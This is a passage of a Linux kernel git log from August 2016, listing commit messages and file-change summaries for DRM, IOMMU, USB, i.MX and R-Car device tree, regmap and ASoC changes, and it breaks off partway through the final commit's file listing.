http://patchwork.freedesktop.org/patch/msgid/1470443443-27252-2-git-send-email-cpaul@redhat.com drivers/gpu/drm/drm_dp_helper.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 27528c667a210845b35a1f49c810dba469bced52 Author: Lyude Date: Fri Aug 5 20:30:38 2016 -0400 drm: Add ratelimited versions of the DRM_DEBUG* macros There's a couple of places where this would be useful for drivers (such as reporting DP aux transaction timeouts). Signed-off-by: Lyude Reviewed-by: Christian König Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1470443443-27252-7-git-send-email-cpaul@redhat.com include/drm/drmP.h | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) commit 1426f7157efe12bb40455e84dd7083917d21860f Author: Chris Wilson Date: Tue Aug 9 17:03:22 2016 +0100 drm/i915: Correct typo for __i915_gem_active_get_rcu in a comment I mistyped and added an extra _request_ to __i915_gem_active_get_rcu() Also, the same happened to another comment for i915_gem_active_get_rcu() Reported-by: Mika Kuoppala Signed-off-by: Chris Wilson Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/1470758602-1338-1-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_request.c | 2 +- drivers/gpu/drm/i915/intel_ringbuffer.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 423595e89ddf9b657812a33932a5e2ad1bb9dd54 Author: Amitoj Kaur Chawla Date: Mon Aug 1 11:48:38 2016 +0530 iommu/exynos: Fix error handling for of_platform_device_create of_platform_device_create returns NULL on error so an IS_ERR test is incorrect here and a NULL check is required. The Coccinelle semantic patch used to make this change is as follows: @@ expression e; @@ e = of_platform_device_create(...); if( - IS_ERR(e) + !e ) { <+... return - PTR_ERR(e) + -ENODEV ; ...+> } Signed-off-by: Amitoj Kaur Chawla Signed-off-by: Joerg Roedel drivers/iommu/exynos-iommu.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 517abe495df7279f3a45ae01ed709e07d384309e Author: Wei Yongjun Date: Thu Jul 28 02:10:26 2016 +0000 iommu/amd: Fix error return code in irq_remapping_alloc() Fix to return a negative error code from the alloc_irq_index() error handling case instead of 0, as done elsewhere in this function. Signed-off-by: Wei Yongjun Signed-off-by: Joerg Roedel drivers/iommu/amd_iommu.c | 1 + 1 file changed, 1 insertion(+) commit a5604f260e68a45510ef773ce36ce301d1f6d102 Author: Wei Yongjun Date: Thu Jul 28 02:09:53 2016 +0000 iommu/amd: Fix non static symbol warning Fixes the following sparse warning: drivers/iommu/amd_iommu.c:106:1: warning: symbol '__pcpu_scope_flush_queue' was not declared. Should it be static? Signed-off-by: Wei Yongjun Signed-off-by: Joerg Roedel drivers/iommu/amd_iommu.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9a008da21f5ecf5b3c8345a2dfb91c7e95958935 Author: Alexander Shiyan Date: Sat Aug 6 07:56:26 2016 +0300 ARM: i.MX: Move SOC_IMX1 into 'Device tree only' This patch moves SOC_IMX1 into 'Device tree only' category and renames imx1-dt.c to mach-imx1.c to align with the name schema of other i.MX DT only platforms. Signed-off-by: Alexander Shiyan Signed-off-by: Shawn Guo arch/arm/configs/imx_v4_v5_defconfig | 1 + arch/arm/configs/multi_v4t_defconfig | 2 +- arch/arm/mach-imx/Kconfig | 31 ++++++++++--------------- arch/arm/mach-imx/Makefile | 4 +--- arch/arm/mach-imx/imx1-dt.c | 45 ------------------------------------ arch/arm/mach-imx/mach-imx1.c | 45 ++++++++++++++++++++++++++++++++++++ 6 files changed, 60 insertions(+), 68 deletions(-) commit e1291cffcc509e790f46f1af6fec13eb8d44d5bb Author: Alexander Shiyan Date: Sat Aug 6 07:56:25 2016 +0300 ARM: i.MX: Remove i.MX1 non-DT support This patch removes registration helpers and support files, used for non-DT i.MX1 targets. Signed-off-by: Alexander Shiyan Signed-off-by: Shawn Guo arch/arm/mach-imx/Kconfig | 1 - arch/arm/mach-imx/Makefile | 1 - arch/arm/mach-imx/common.h | 5 - arch/arm/mach-imx/devices-imx1.h | 30 ----- arch/arm/mach-imx/devices/devices-common.h | 12 -- arch/arm/mach-imx/devices/platform-imx-fb.c | 5 - arch/arm/mach-imx/devices/platform-imx-i2c.c | 5 - arch/arm/mach-imx/devices/platform-imx-uart.c | 37 ------ arch/arm/mach-imx/devices/platform-spi_imx.c | 9 -- arch/arm/mach-imx/hardware.h | 1 - arch/arm/mach-imx/imx1-dt.c | 23 +++- arch/arm/mach-imx/iomux-mx1.h | 155 ----------------------- arch/arm/mach-imx/mm-imx1.c | 67 ---------- arch/arm/mach-imx/mx1.h | 172 -------------------------- drivers/clk/imx/clk-imx1.c | 46 +------ 15 files changed, 26 insertions(+), 543 deletions(-) commit de2d6662ece073b1b02e94678f77c47646920f17 Author: Alexander Shiyan Date: Sat Aug 6 07:56:24 2016 +0300 ARM: i.MX: Remove i.MX1 Synertronixx SCB9328 board support Synertronixx SCB9328 board is very similar to Armadeus APF9328, so it can be easily reimplemented in DT way. This patch removes support for non-DT support for this board. Signed-off-by: Alexander Shiyan Signed-off-by: Shawn Guo arch/arm/configs/imx_v4_v5_defconfig | 1 - arch/arm/configs/multi_v4t_defconfig | 1 - arch/arm/mach-imx/Kconfig | 7 -- arch/arm/mach-imx/Makefile | 1 - arch/arm/mach-imx/mach-scb9328.c | 143 ----------------------------------- 5 files changed, 153 deletions(-) commit 5081c3262f0466e52e6ce49453a5603fd85e048a Author: Alexander Shiyan Date: Sat Aug 6 07:56:23 2016 +0300 ARM: i.MX: Remove i.MX1 Armadeus APF9328 board support mach-apf9328.c can be replaced with devicetree equivalent: imx1-apf9328.dts, so remove the board file. Signed-off-by: Alexander Shiyan Signed-off-by: Shawn Guo arch/arm/configs/imx_v4_v5_defconfig | 1 - arch/arm/configs/multi_v4t_defconfig | 1 - arch/arm/mach-imx/Kconfig | 8 -- arch/arm/mach-imx/Makefile | 1 - arch/arm/mach-imx/mach-apf9328.c | 148 ----------------------------------- 5 files changed, 159 deletions(-) commit 097d06192caf6db29ff6b8a9117cfaf7a514821f Author: Kamlakant Patel Date: Tue Aug 9 19:35:22 2016 +0530 spi: xlp: Add ACPI support for Vulcan SPI controller Add ACPI support for SPI controller on Broadcom Vulcan ARM64. Signed-off-by: Kamlakant Patel Signed-off-by: Mark Brown drivers/spi/spi-xlp.c | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) commit 0775a9cbc694e8c7276688be3bbd2f386167ab54 Author: Nobuo Iwata Date: Mon Jun 13 11:33:40 2016 +0900 usbip: vhci extension: modifications to vhci driver Modification to Kconfig, vhci_hc.c, vhci.h and vhci_sysfs.c. 1. kernel config Followings are added. USBIP_VHCI_HC_PORTS: Number of ports per USB/IP virtual host controller. The default is 8 - same as current VHCI_NPORTS. USBIP_VHCI_NR_HCS: Number of USB/IP virtual host controllers. The default is 1. This paratmeter is replaced with USBIP_VHCI_INIT_HCS and USBIP_VHCI_MAX_HCS included in succeeding dynamic extension patch. 2. the_controller to controllers the_controller is changed to vhci_pdevs: array of struct platform_device. 3. vhci_sysfs.c Sysfs structure is changed as following. BEFORE: /sys/devices/platform +-- vhci +-- status +-- attach +-- detach +-- usbip_debug AFTER: example for CONFIG_USBIP_NR_HCS=4 /sys/devices/platform +-- vhci | +-- nports | +-- status | +-- status.1 | +-- status.2 | +-- status.3 | +-- attach | +-- detach | +-- usbip_debug +-- vhci.1 +-- vhci.2 +-- vhci.3 vhci[.N] is shown for each host controller kobj. vhch.1, vhci.2, ... are shown only when CONFIG_USBIP_NR_HCS is more than 1. Only 'vhci' (without number) has user space interfaces. 'nports' is newly added to give ports-per-controller and number of controlles. Before that, number of ports is acquired by reading status lines. Status is divided for each controller to avoid page size (4KB) limitation. Old userspace tool binaries work with the first status within the first controller. Inconsistency between status header and content is fixed. 4th and 5th column are header: "dev bus" content(unused): "000 000" content(used): "%08x", devid Only 1st and 2nd column are used by program. In old version, sscanf() in parse_status expect no bus column. And bus_id string is shown in the last column. Then bus in the header is removed and unused content is replaced with 8 zeros. The sscanf() expects more than 5 columns and new has 6 columns so there's no compatibility issue in this change. Signed-off-by: Nobuo Iwata Signed-off-by: Greg Kroah-Hartman drivers/usb/usbip/Kconfig | 21 +++ drivers/usb/usbip/vhci.h | 54 ++++++-- drivers/usb/usbip/vhci_hcd.c | 285 ++++++++++++++++++++++++++------------- drivers/usb/usbip/vhci_rx.c | 21 +-- drivers/usb/usbip/vhci_sysfs.c | 296 ++++++++++++++++++++++++++++++++--------- 5 files changed, 497 insertions(+), 180 deletions(-) commit 0573f2c519e570d056989e57565e1ff1640dd794 Author: Peter Chen Date: Wed Jun 15 11:25:43 2016 +0800 usb: core: of.c: fix defined but not declare warning The helper usb_of_get_child_node is defined at of.c, but missing its declare as a global function. Fix it by adding related header file as well as compile it on conditional of CONFIG_OF. Cc: Greg Kroah-Hartman Cc: Arnd Bergmann Cc: Alan Stern Cc: linux-usb@vger.kernel.org Cc: linux-kernel@vger.kernel.org Cc: Ben Dooks Cc: linux-kernel@lists.codethink.co.uk Signed-off-by: Peter Chen Reported-by: Ben Dooks Signed-off-by: Greg Kroah-Hartman drivers/usb/core/Makefile | 3 ++- drivers/usb/core/of.c | 1 + 2 files changed, 3 insertions(+), 1 deletion(-) commit a26a142275c690d122edfba79120412cd7dbe38e Author: Masahiro Yamada Date: Fri Jul 22 17:23:18 2016 +0900 usb: remove redundant dependency on USB_SUPPORT The whole Kconfig entries of the USB subsystem are surrounded with "if USB_SUPPORT" ... "endif", so CONFIG_USB_SUPPORT=y is surely met when these two Kconfig options are visible. Signed-off-by: Masahiro Yamada Signed-off-by: Greg Kroah-Hartman drivers/usb/core/Kconfig | 1 - drivers/usb/dwc3/Kconfig | 2 +- 2 files changed, 1 insertion(+), 2 deletions(-) commit 1ebe88d38ddec6b05f7b5e64acef30a98a4ad17e Author: Stephen Boyd Date: Sat Jun 25 22:38:21 2016 -0700 usb: ulpi: Automatically set driver::owner with ulpi_driver_register() Let's follow other driver registration functions and automatically set the driver's owner member to THIS_MODULE when ulpi_driver_register() is called. This allows ulpi driver writers to forget about this boiler plate detail and avoids common bugs in the process. Signed-off-by: Stephen Boyd Acked-by: Heikki Krogerus Signed-off-by: Greg Kroah-Hartman drivers/usb/common/ulpi.c | 5 +++-- include/linux/ulpi/driver.h | 6 +++++- 2 files changed, 8 insertions(+), 3 deletions(-) commit 3cc7e7b7872ebd0f200b5450f5471bc3700de141 Author: Rafał Miłecki Date: Fri Jul 8 14:02:50 2016 +0200 USB: bcma: initialize Northstar USB 3.0 controller It's a rather simple controller, we just need to make sure USB is powered (using GPIO pin) and reset bus core. Once this is done it's safe to register XHCI controller and let it init PHY and do its magic. Signed-off-by: Rafał Miłecki Signed-off-by: Greg Kroah-Hartman drivers/usb/host/bcma-hcd.c | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) commit a094760b9a77f81ee3cbeff323ee77c928f41106 Author: Heiner Kallweit Date: Wed Aug 3 21:46:47 2016 +0200 usb: storage: fix runtime pm issue in usb_stor_probe2 Since commit 71723f95463d "PM / runtime: print error when activating a child to unactive parent" I see the following error message: scsi host2: usb-storage 1-3:1.0 scsi host2: runtime PM trying to activate child device host2 but parent (1-3:1.0) is not active Digging into it it seems to be related to the problem described in the commit message for cd998ded5c12 "i2c: designware: Prevent runtime suspend during adapter registration" as scsi_add_host also calls device_add and after the call to device_add the parent device is suspended. Fix this by using the approach from the mentioned commit and getting the runtime pm reference before calling scsi_add_host. Signed-off-by: Heiner Kallweit Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman drivers/usb/storage/usb.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 833415a3e781a26fe480a34d45086bdb4fe1e4c0 Author: Bjørn Mork Date: Sun Jul 10 17:45:14 2016 +0200 cdc-wdm: fix "out-of-sync" due to missing notifications The driver enforces a strict one-to-one relationship between the received RESPONSE_AVAILABLE notifications and messages read from the device. At the same time, it will cancel the interrupt URB when there is no client holding the character device open. Many devices do not cope well with this behaviour. They maintain a FIFO queue of messages, and send notifications on a best effort basis. Messages are queued regardless of whether the notification is successful or not. So if the driver loses a single notification, which can easily happen when the interrupt URB is cancelled, then the device and driver becomes out-of-sync. New messages end up at the end of the queue, while the associated notification makes the driver read only the first message from the queue. This state is permanent from a user point of view. There is no no way to flush the device queue without resetting the device or using another driver. The problem is easy to hit with current QMI and MBIM command line tools, which typically close the character device after seeing the reply they expect. Any pending unsolicited messages from the device will then trigger the driver bug. Fix by always reading all queued messages from the device when the notification URB is first submitted. This is expected to end with an -EPIPE status when there are no more pending messages, so demote the printk associated with -EPIPE to debug level. The workaround has been tested on a large number of different MBIM and QMI devices, as well as the Ericsson F5521gw and H5321gw modems with real Device Management functions. Signed-off-by: Bjørn Mork Acked-by: Oliver Neukum Signed-off-by: Greg Kroah-Hartman drivers/usb/class/cdc-wdm.c | 103 ++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 99 insertions(+), 4 deletions(-) commit ec7b1268510908157d4e8878bb753ea844446856 Author: Bhaktipriya Shridhar Date: Thu Jul 28 13:57:29 2016 +0530 usb: dwc2: Remove deprecated create_singlethread_workqueue alloc_ordered_workqueue replaces the deprecated create_singlethread_workqueue. There are multiple work items on the work queue, which require ordering. Hence, an ordered workqueue has been used. The workqueue "wq_otg" is not being used on a memory reclaim path. Hence, WQ_MEM_RECLAIM has not been set. Signed-off-by: Bhaktipriya Shridhar Acked-by: Tejun Heo Acked-by: John Youn Signed-off-by: Greg Kroah-Hartman drivers/usb/dwc2/hcd.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c936f45fc25fd53c1517571aa379e07bca1f28ed Author: Bhaktipriya Shridhar Date: Tue Jul 26 10:47:20 2016 +0530 usb: ftdi-elan: Remove deprecated create_singlethread_workqueue The status workqueue is involved in initializing the Uxxx and polling the Uxxx until a supported PCMCIA CardBus device is detected. It then starts the command and respond workqueues and then loads the module that handles the device, after which it just polls the Uxxx looking for card ejects. The command and respond workqueues are involved in implementing a command sequencer for communicating with the firmware on the other side of the FTDI chip in the Uxxx. These workqueues have only a single work item each and hence they do not require ordering. Also, none of the above workqueues are being used on a memory recliam path. Hence, the singlethreaded workqueues have been replaced with the use of system_wq. System workqueues have been able to handle high level of concurrency for a long time now and hence it's not required to have a singlethreaded workqueue just to gain concurrency. Unlike a dedicated per-cpu workqueue created with create_singlethread_workqueue(), system_wq allows multiple work items to overlap executions even on the same CPU; however, a per-cpu workqueue doesn't have any CPU locality or global ordering guarantee unless the target CPU is explicitly specified and thus the increase of local concurrency shouldn't make any difference. The work items have been sync cancelled because they are self-requeueing and need to wait for the in-flight work item to finish before proceeding with destruction. Hence, they have been sync cancelled in ftdi_status_cancel_work(), ftdi_command_cancel_work() and ftdi_response_cancel_work(). These functions are called in ftdi_elan_exit() to ensure that there are no pending work items while disconnecting the driver. Signed-off-by: Bhaktipriya Shridhar Acked-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman drivers/usb/misc/ftdi-elan.c | 53 +++++++++----------------------------------- 1 file changed, 10 insertions(+), 43 deletions(-) commit 6a0bb4348bb4b6cce1bb06ac8fa38fc4fb0d9088 Author: Bhaktipriya Shridhar Date: Tue Jul 26 22:19:18 2016 +0530 USB: appledisplay: Remove deprecated create_singlethread_workqueue The workqueue "wq" is involved in controlling the brightness of an Apple Cinema Display over USB. It has a single work item(&pdata->work) per appledisplay and hence doesn't require ordering. Also, it is not being used on a memory reclaim path. Hence, the singlethreaded workqueue has been replaced with the use of system_wq. System workqueues have been able to handle high level of concurrency for a long time now and hence it's not required to have a singlethreaded workqueue just to gain concurrency. Unlike a dedicated per-cpu workqueue created with create_singlethread_workqueue(), system_wq allows multiple work items to overlap executions even on the same CPU; however, a per-cpu workqueue doesn't have any CPU locality or global ordering guarantee unless the target CPU is explicitly specified and thus the increase of local concurrency shouldn't make any difference. The work item is self-requeueing and needs to wait for the in-flight work item to finish before proceeding with destruction. Hence, it has been sync cancelled in appledisplay_disconnect(). This also ensures that there are no pending tasks while disconnecting the driver. Signed-off-by: Bhaktipriya Shridhar Acked-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman drivers/usb/misc/appledisplay.c | 13 ++----------- 1 file changed, 2 insertions(+), 11 deletions(-) commit bd783108acfe359f1817365823d4a98d79e37dbb Author: Bhaktipriya Shridhar Date: Thu Jul 28 14:15:11 2016 +0530 usb: lvstest: Remove deprecated create_singlethread_workqueue The workqueue has a single work item(&lvs->rh_work) and hence doesn't require ordering. Also, it is not being used on a memory reclaim path. Hence, the singlethreaded workqueue has been replaced with the use of system_wq. System workqueues have been able to handle high level of concurrency for a long time now and hence it's not required to have a singlethreaded workqueue just to gain concurrency. Unlike a dedicated per-cpu workqueue created with create_singlethread_workqueue(), system_wq allows multiple work items to overlap executions even on the same CPU; however, a per-cpu workqueue doesn't have any CPU locality or global ordering guarantee unless the target CPU is explicitly specified and thus the increase of local concurrency shouldn't make any difference. The work item has been flushed in lvs_rh_disconnect() to ensure that there are no pending tasks while disconnecting the driver. Signed-off-by: Bhaktipriya Shridhar Acked-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman drivers/usb/misc/lvstest.c | 17 +++-------------- 1 file changed, 3 insertions(+), 14 deletions(-) commit 72cd194f897d7f7e334d570662b25f71068e5637 Author: Julia Lawall Date: Fri Aug 5 13:26:53 2016 +0200 usb: host: fsl-mph-dr-of: use of_property_read_bool Use of_property_read_bool to check for the existence of a property. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @@ expression e1,e2,x; @@ - if (of_get_property(e1,e2,NULL)) - x = true; - else - x = false; + x = of_property_read_bool(e1,e2); // Signed-off-by: Julia Lawall Signed-off-by: Greg Kroah-Hartman drivers/usb/host/fsl-mph-dr-of.c | 18 ++++++------------ 1 file changed, 6 insertions(+), 12 deletions(-) commit 740a6a1720f631ef2ad84fc378f2469c37f389c7 Author: Stephen Boyd Date: Sat Jun 25 22:24:54 2016 -0700 usb: misc: Add driver for usb4604 This is a minimal driver to support bringing a usb4604 device from microchip out of reset and into hub mode. The usb4604 device is related to the usb3503 device, but it didn't seem close enough to warrant putting both into the same file. This patch borrows some of the usb3503 structure and trims it down to just handle the optional reset gpio and adds the i2c command to put the device into hub mode. Datasheet: http://ww1.microchip.com/downloads/en/DeviceDoc/00001716A.pdf Cc: Signed-off-by: Stephen Boyd Signed-off-by: Greg Kroah-Hartman Documentation/devicetree/bindings/usb/usb4604.txt | 19 +++ drivers/usb/misc/Kconfig | 6 + drivers/usb/misc/Makefile | 1 + drivers/usb/misc/usb4604.c | 175 ++++++++++++++++++++++ 4 files changed, 201 insertions(+) commit 2a8e583c09c841744a6aa17d7247bc4fd5c6dfbf Author: Fabien Lahoudere Date: Thu Aug 4 15:47:32 2016 +0200 ARM: dts: imx53: Add IPU nodes for csi We have the following messages that tell csi devices are not used: imx-ipuv3 18000000.ipu: no port@0 node in /soc/ipu@18000000, not using CSI0 imx-ipuv3 18000000.ipu: no port@1 node in /soc/ipu@18000000, not using CSI1 So we add them in the common device tree to make CSI ports available on imx53 boards. Signed-off-by: Fabien Lahoudere Acked-by: Philipp Zabel Signed-off-by: Shawn Guo arch/arm/boot/dts/imx53.dtsi | 8 ++++++++ 1 file changed, 8 insertions(+) commit d04eba90998fdfeb09b7c655fa894207fe175042 Author: Fabien Lahoudere Date: Thu Aug 4 12:22:37 2016 +0200 ARM: dts: imx53: Add DMA configuration for UART In order to use sdma with UART, we need to add DMA configuration in device tree. Signed-off-by: Fabien Lahoudere Signed-off-by: Shawn Guo arch/arm/boot/dts/imx53.dtsi | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 4e08d79b088336747aa52d9d66187df6c0de69b7 Author: Peter Chen Date: Tue Aug 2 16:22:06 2016 +0800 ARM: imx_v6_v7_defconfig: enable more USB configurations - USB test module - USB gadget functions using configfs which are just ready within several release cycles. - USB audio gadget Signed-off-by: Peter Chen Signed-off-by: Shawn Guo arch/arm/configs/imx_v6_v7_defconfig | 8 ++++++++ 1 file changed, 8 insertions(+) commit 359a2f17604e2c1c8938be2bba32a8cef9cf6303 Author: Cristian Birsan Date: Mon Aug 8 18:44:22 2016 +0300 regmap: debugfs: Add support for dumping write only device registers Add support for dumping write only device registers in debugfs. This is useful for audio codecs that have write only registers (like WM8731). The logic that decides if a value can be printed is moved to regmap_printable() function to allow for easier future updates. Signed-off-by: Cristian Birsan Signed-off-by: Mark Brown drivers/base/regmap/regmap-debugfs.c | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) commit 1ea975cf1ef57b1e44c0aec4820f60bb3b60904b Author: Cristian Birsan Date: Mon Aug 8 18:44:21 2016 +0300 regmap: Add a function to check if a regmap register is cached Add a function to check if a regmap register is cached. This will be used in debugfs to dump the cached values of write only registers. Signed-off-by: Cristian Birsan Signed-off-by: Mark Brown drivers/base/regmap/internal.h | 1 + drivers/base/regmap/regmap.c | 23 +++++++++++++++++++++++ 2 files changed, 24 insertions(+) commit 8bec0842ba2bb1b3bd954a1ef50f426b8f09c84f Author: Sergei Shtylyov Date: Fri Aug 5 21:26:25 2016 +0300 ARM: dts: r8a7792: add DU support Define the generic R8A7792 part of the DU device node. Signed-off-by: Sergei Shtylyov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792.dtsi | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) commit 3b0211af06298682d5faaa4c4cedf666fb1281c3 Author: Sergei Shtylyov Date: Fri Aug 5 21:25:47 2016 +0300 ARM: dts: r8a7792: add DU clocks Describe the DU0/1 clocks and their parent, ZX clock in the R8A7792 device tree. Signed-off-by: Sergei Shtylyov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792.dtsi | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) commit d6f5fe84b5f99ab3fad6911b825098ebdeb4a921 Author: Sergei Shtylyov Date: Sat Aug 6 00:52:39 2016 +0300 ARM: dts: r8a7792: fix misindented line Commit 2a0900655d5e (ARM: dts: r8a7792: add I2C support) had a wrongly indented line at the end of the "aliases" subnode -- fix it. Signed-off-by: Sergei Shtylyov Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit feb13b95c3fc461bb01ef32cdb818f99d6a859db Author: Sergei Shtylyov Date: Thu Jul 28 00:05:58 2016 +0300 ARM: dts: silk: add sound support Define the SILK board dependent part of the R8A7794 sound device node. Add device node for Asahi Kasei AK4643 stereo codec to the I2C1 bus. Add the "simple-audio-card" device node to interconnect the SoC sound device and the codec. This patch is based on the commit 493b4da7c10c ("ARM: dts: porter: add sound support"). Signed-off-by: Sergei Shtylyov Acked-by: Kuninori Morimoto Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7794-silk.dts | 70 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 70 insertions(+) commit 320d6c5a08a4abd3990ee4744033ade6ed53d5fb Author: Sergei Shtylyov Date: Thu Jul 28 00:03:10 2016 +0300 ARM: dts: r8a7794: add sound support Define the generic R8A7794 part of the sound device node. This sound device is a complex one and comprises the Audio Clock Generator (ADG), Sampling Rate Converter Unit (SCU), Serial Sound Interface [Unit] (SSI[U]), and Audio DMAC-Peripheral-Peripheral. It is up to the board file to enable the device. This patch is based on the R8A7791 sound work by Kuninori Morimoto. Signed-off-by: Sergei Shtylyov Acked-by: Kuninori Morimoto Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7794.dtsi | 181 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 181 insertions(+) commit 298e4ee3d213a0764e8d4baa5336d4d1649a5bc5 Author: Sergei Shtylyov Date: Thu Jul 28 00:02:18 2016 +0300 ARM: dts: r8a7794: add Audio-DMAC support Describe Audio-DMAC in the R8A7794 device tree. This patch is loosely based on the commit 8994fff67761 ("ARM: shmobile: r8a7791: Add Audio DMAC devices to DT"). Signed-off-by: Sergei Shtylyov Acked-by: Kuninori Morimoto Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7794.dtsi | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) commit 975fb77f874be95e50e653e90bcbcf09c08e66c2 Author: Sergei Shtylyov Date: Wed Jul 27 14:01:01 2016 -0700 ARM: dts: r8a7794: add MSTP10 clocks Add MSTP10 clocks to the R8A7794 device tree. This patch is based on the commit ee9141522dcf ("ARM: shmobile: r8a7791: add MSTP10 support on DTSI"). Signed-off-by: Sergei Shtylyov Acked-by: Kuninori Morimoto Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7794.dtsi | 52 +++++++++++++++++++++++++++++++ include/dt-bindings/clock/r8a7794-clock.h | 24 ++++++++++++++ 2 files changed, 76 insertions(+) commit 2a29f9d6fea82485941449c2328af5b2a4ea636f Author: Sergei Shtylyov Date: Wed Jul 27 23:59:59 2016 +0300 ARM: dts: r8a7794: add MSTP5 clocks Add some MSTP5 clocks to the R8A7794 device tree. Signed-off-by: Sergei Shtylyov Acked-by: Kuninori Morimoto Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7794.dtsi | 9 +++++++++ include/dt-bindings/clock/r8a7794-clock.h | 1 + 2 files changed, 10 insertions(+) commit 0b1f0e374404f70b77c0f79c6f16fdcf5484552b Author: Sergei Shtylyov Date: Wed Jul 27 23:59:18 2016 +0300 ARM: dts: r8a7794: add audio clocks Describe the external audio clocks (signals AUDIO_CLK[ABC]) required by the sound driver. Boards that provide audio clocks need to override the clock frequencies. This patch is based on the commit 0d3dbde84a45 ("ARM: shmobile: r8a7791: add audio clock on DTSI"). Signed-off-by: Sergei Shtylyov Acked-by: Kuninori Morimoto Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7794.dtsi | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) commit a2d30b9c555f02c6a2aa389fbd41a103503242dd Author: Sergei Shtylyov Date: Sat Jul 23 22:17:42 2016 +0300 ARM: dts: r8a7792: add VIN support Define the generic R8A7792 parts of the VIN[0-5] device nodes. Signed-off-by: Sergei Shtylyov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792.dtsi | 66 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 66 insertions(+) commit 62855bcf15796de1231c93652d385a8b11be75c4 Author: Sergei Shtylyov Date: Sat Jul 23 22:16:38 2016 +0300 ARM: dts: r8a7792: add VIN clocks Describe the VIN[0-5] clocks and their parent, ZG clock in the R8A7792 device tree. Signed-off-by: Sergei Shtylyov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792.dtsi | 20 +++++++++++++++++--- 1 file changed, 17 insertions(+), 3 deletions(-) commit 78082700c8885a2b370c23ed9caec781fdf72139 Author: Sergei Shtylyov Date: Sat Jul 23 21:49:12 2016 +0300 ARM: dts: r8a7792: add I2C support Define the generic R8A7792 parts of the I2C[0-5] device nodes. Signed-off-by: Sergei Shtylyov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792.dtsi | 82 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 82 insertions(+) commit eedee25c2181ffd5463a994d456349dd39dc1b54 Author: Sergei Shtylyov Date: Sat Jul 23 21:48:33 2016 +0300 ARM: dts: r8a7792: add I2C clocks Describe the I2C[0-5] clocks in the R8A7792 device tree. Signed-off-by: Sergei Shtylyov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792.dtsi | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) commit ce01b14ecf19a18cd95e698f915f5ea582086c21 Author: Sergei Shtylyov Date: Sat Jul 23 21:11:26 2016 +0300 ARM: dts: r8a7792: add SDHI support Define the generic R8A7792 part of the SDHI0 device node. Signed-off-by: Sergei Shtylyov Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792.dtsi | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit fe683922cb436097ac5b1f65148fa0db3a6735a3 Author: Sergei Shtylyov Date: Sat Jul 23 21:10:31 2016 +0300 ARM: dts: r8a7792: add SD clocks Describe the SDHI0 clock and its parent, SD clock in the R8A7792 device tree. Signed-off-by: Sergei Shtylyov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm/boot/dts/r8a7792.dtsi | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) commit a09f383ef72947b7d59fc7fe50fe332ab5c35dca Author: Kuninori Morimoto Date: Tue Aug 9 05:50:19 2016 +0000 ASoC: rsrc-card: use asoc_simple_card_canonicalize_dailink() Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/sh/rcar/rsrc-card.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 600ee2085515c03a7a4a6025034fefccf29e5a24 Author: Kuninori Morimoto Date: Tue Aug 9 05:49:21 2016 +0000 ASoC: rsrc-card: use asoc_simple_card_init_dai() Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/sh/rcar/rsrc-card.c | 26 +------------------------- 1 file changed, 1 insertion(+), 25 deletions(-) commit c958374f1cd22ec87f210985f9f9e1ba8b3df30b Author: Kuninori Morimoto Date: Tue Aug 9 05:50:02 2016 +0000 ASoC: simple-card: use asoc_simple_card_canonicalize_dailink() Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/generic/simple-card.c | 